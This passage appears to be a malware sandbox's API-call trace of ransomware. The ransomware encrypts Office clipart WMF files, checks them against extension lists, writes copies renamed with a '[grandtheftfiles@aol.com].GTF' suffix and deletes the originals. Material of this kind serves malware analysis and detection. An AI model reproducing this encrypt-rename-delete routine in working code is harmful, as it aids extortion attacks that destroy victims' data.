	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.959] lstrlenW (lpString=".zip") returned 4
	[0177.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.959] lstrlenW (lpString=".rar") returned 4
	[0177.959] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString=".bz2") returned 4
	[0177.959] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString=".7z") returned 3
	[0177.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.959] lstrlenW (lpString=".dbf") returned 4
	[0177.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.960] lstrlenW (lpString=".1cd") returned 4
	[0177.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0177.960] lstrlenW (lpString=".jpg") returned 4
	[0177.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.960] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0177.961] lstrlenW (lpString="J0153087.WMF") returned 12
	[0177.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0177.962] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1912) returned 1
	[0177.962] CloseHandle (hObject=0x48c) returned 1
	[0177.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 0x220
	[0177.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0177.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0177.963] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.963] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0177.963] GetLastError () returned 0x0
	[0177.963] ReadFile (in: hFile=0x48c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x778, lpOverlapped=0x0) returned 1
	[0177.971] WriteFile (in: hFile=0x58c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x780, lpOverlapped=0x0) returned 1
	[0177.976] ReadFile (in: hFile=0x48c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.976] WriteFile (in: hFile=0x58c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.976] SetEndOfFile (hFile=0x58c) returned 1
	[0177.976] CloseHandle (hObject=0x58c) returned 1
	[0177.976] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.976] SetEndOfFile (hFile=0x48c) returned 1
	[0177.979] CloseHandle (hObject=0x48c) returned 1
	[0177.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0177.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153087.wmf")) returned 1
	[0177.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.981] lstrlenW (lpString=".doc") returned 4
	[0177.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.981] lstrlenW (lpString=".docx") returned 5
	[0177.981] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0177.981] lstrlenW (lpString=".pdf") returned 4
	[0177.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.981] lstrlenW (lpString=".xls") returned 4
	[0177.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.982] lstrlenW (lpString=".xlsx") returned 5
	[0177.982] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0177.982] lstrlenW (lpString=".ppt") returned 4
	[0177.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.982] lstrlenW (lpString=".zip") returned 4
	[0177.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.982] lstrlenW (lpString=".rar") returned 4
	[0177.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.982] lstrlenW (lpString=".bz2") returned 4
	[0177.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.982] lstrlenW (lpString=".7z") returned 3
	[0177.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.982] lstrlenW (lpString=".dbf") returned 4
	[0177.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.982] lstrlenW (lpString=".1cd") returned 4
	[0177.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.982] lstrlenW (lpString=".jpg") returned 4
	[0177.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.982] lstrlenW (lpString=".doc") returned 4
	[0177.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.982] lstrlenW (lpString=".docx") returned 5
	[0177.983] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0177.983] lstrlenW (lpString=".pdf") returned 4
	[0177.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.983] lstrlenW (lpString=".xls") returned 4
	[0177.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.983] lstrlenW (lpString=".xlsx") returned 5
	[0177.983] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0177.983] lstrlenW (lpString=".ppt") returned 4
	[0177.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.984] lstrlenW (lpString=".zip") returned 4
	[0177.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.984] lstrlenW (lpString=".rar") returned 4
	[0177.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.984] lstrlenW (lpString=".bz2") returned 4
	[0177.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.984] lstrlenW (lpString=".7z") returned 3
	[0177.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.984] lstrlenW (lpString=".dbf") returned 4
	[0177.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.984] lstrlenW (lpString=".1cd") returned 4
	[0177.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153087.WMF") returned 68
	[0177.984] lstrlenW (lpString=".jpg") returned 4
	[0177.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.984] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0177.984] lstrlenW (lpString="J0153091.WMF") returned 12
	[0177.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0178.029] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8136) returned 1
	[0178.029] CloseHandle (hObject=0x45c) returned 1
	[0178.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 0x220
	[0178.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0178.036] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.036] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0178.037] GetLastError () returned 0x0
	[0178.037] ReadFile (in: hFile=0x374, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1fc8, lpOverlapped=0x0) returned 1
	[0178.039] WriteFile (in: hFile=0x45c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1fd0, lpOverlapped=0x0) returned 1
	[0178.040] ReadFile (in: hFile=0x374, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.040] WriteFile (in: hFile=0x45c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.040] SetEndOfFile (hFile=0x45c) returned 1
	[0178.041] CloseHandle (hObject=0x45c) returned 1
	[0178.041] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.041] SetEndOfFile (hFile=0x374) returned 1
	[0178.044] CloseHandle (hObject=0x374) returned 1
	[0178.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153091.wmf")) returned 1
	[0178.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.045] lstrlenW (lpString=".doc") returned 4
	[0178.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.045] lstrlenW (lpString=".docx") returned 5
	[0178.045] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0178.045] lstrlenW (lpString=".pdf") returned 4
	[0178.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.045] lstrlenW (lpString=".xls") returned 4
	[0178.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.045] lstrlenW (lpString=".xlsx") returned 5
	[0178.046] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0178.046] lstrlenW (lpString=".ppt") returned 4
	[0178.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.046] lstrlenW (lpString=".zip") returned 4
	[0178.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.046] lstrlenW (lpString=".rar") returned 4
	[0178.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.046] lstrlenW (lpString=".bz2") returned 4
	[0178.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.046] lstrlenW (lpString=".7z") returned 3
	[0178.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.046] lstrlenW (lpString=".dbf") returned 4
	[0178.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.046] lstrlenW (lpString=".1cd") returned 4
	[0178.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.046] lstrlenW (lpString=".jpg") returned 4
	[0178.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.046] lstrlenW (lpString=".doc") returned 4
	[0178.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.046] lstrlenW (lpString=".docx") returned 5
	[0178.046] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0178.046] lstrlenW (lpString=".pdf") returned 4
	[0178.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.046] lstrlenW (lpString=".xls") returned 4
	[0178.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.046] lstrlenW (lpString=".xlsx") returned 5
	[0178.046] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0178.047] lstrlenW (lpString=".ppt") returned 4
	[0178.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.047] lstrlenW (lpString=".zip") returned 4
	[0178.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.047] lstrlenW (lpString=".rar") returned 4
	[0178.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.047] lstrlenW (lpString=".bz2") returned 4
	[0178.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.047] lstrlenW (lpString=".7z") returned 3
	[0178.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.047] lstrlenW (lpString=".dbf") returned 4
	[0178.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.047] lstrlenW (lpString=".1cd") returned 4
	[0178.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153091.WMF") returned 68
	[0178.047] lstrlenW (lpString=".jpg") returned 4
	[0178.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.047] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0178.047] lstrlenW (lpString="J0153095.WMF") returned 12
	[0178.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0178.048] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3704) returned 1
	[0178.048] CloseHandle (hObject=0x374) returned 1
	[0178.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 0x220
	[0178.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0178.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0178.049] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.049] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0178.050] GetLastError () returned 0x0
	[0178.050] ReadFile (in: hFile=0x374, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xe78, lpOverlapped=0x0) returned 1
	[0178.052] WriteFile (in: hFile=0x45c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xe80, lpOverlapped=0x0) returned 1
	[0178.054] ReadFile (in: hFile=0x374, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.054] WriteFile (in: hFile=0x45c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0178.054] SetEndOfFile (hFile=0x45c) returned 1
	[0178.054] CloseHandle (hObject=0x45c) returned 1
	[0178.054] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.054] SetEndOfFile (hFile=0x374) returned 1
	[0178.198] CloseHandle (hObject=0x374) returned 1
	[0178.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0178.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 1
	[0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.618] lstrlenW (lpString=".doc") returned 4
	[0178.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString=".docx") returned 5
	[0178.618] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0178.618] lstrlenW (lpString=".pdf") returned 4
	[0178.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString=".xls") returned 4
	[0178.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.618] lstrlenW (lpString=".xlsx") returned 5
	[0178.618] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0178.618] lstrlenW (lpString=".ppt") returned 4
	[0178.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.618] lstrlenW (lpString=".zip") returned 4
	[0178.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.618] lstrlenW (lpString=".rar") returned 4
	[0178.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString=".bz2") returned 4
	[0178.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.618] lstrlenW (lpString=".7z") returned 3
	[0178.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.619] lstrlenW (lpString=".dbf") returned 4
	[0178.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.619] lstrlenW (lpString=".1cd") returned 4
	[0178.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.619] lstrlenW (lpString=".jpg") returned 4
	[0178.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68
	[0178.619] lstrlenW (lpString=".doc") returned 4
	[0178.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString=".docx") returned 5
	[0178.619] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0178.619] lstrlenW (lpString=".pdf") returned 4
	[0178.619] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.619] lstrlenW (lpString=".xls") returned 4
	[0178.619] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.619] lstrlenW (lpString=".xlsx") returned 5
	[0178.619] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0178.619] lstrlenW (lpString=".ppt") returned 4
	[0178.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
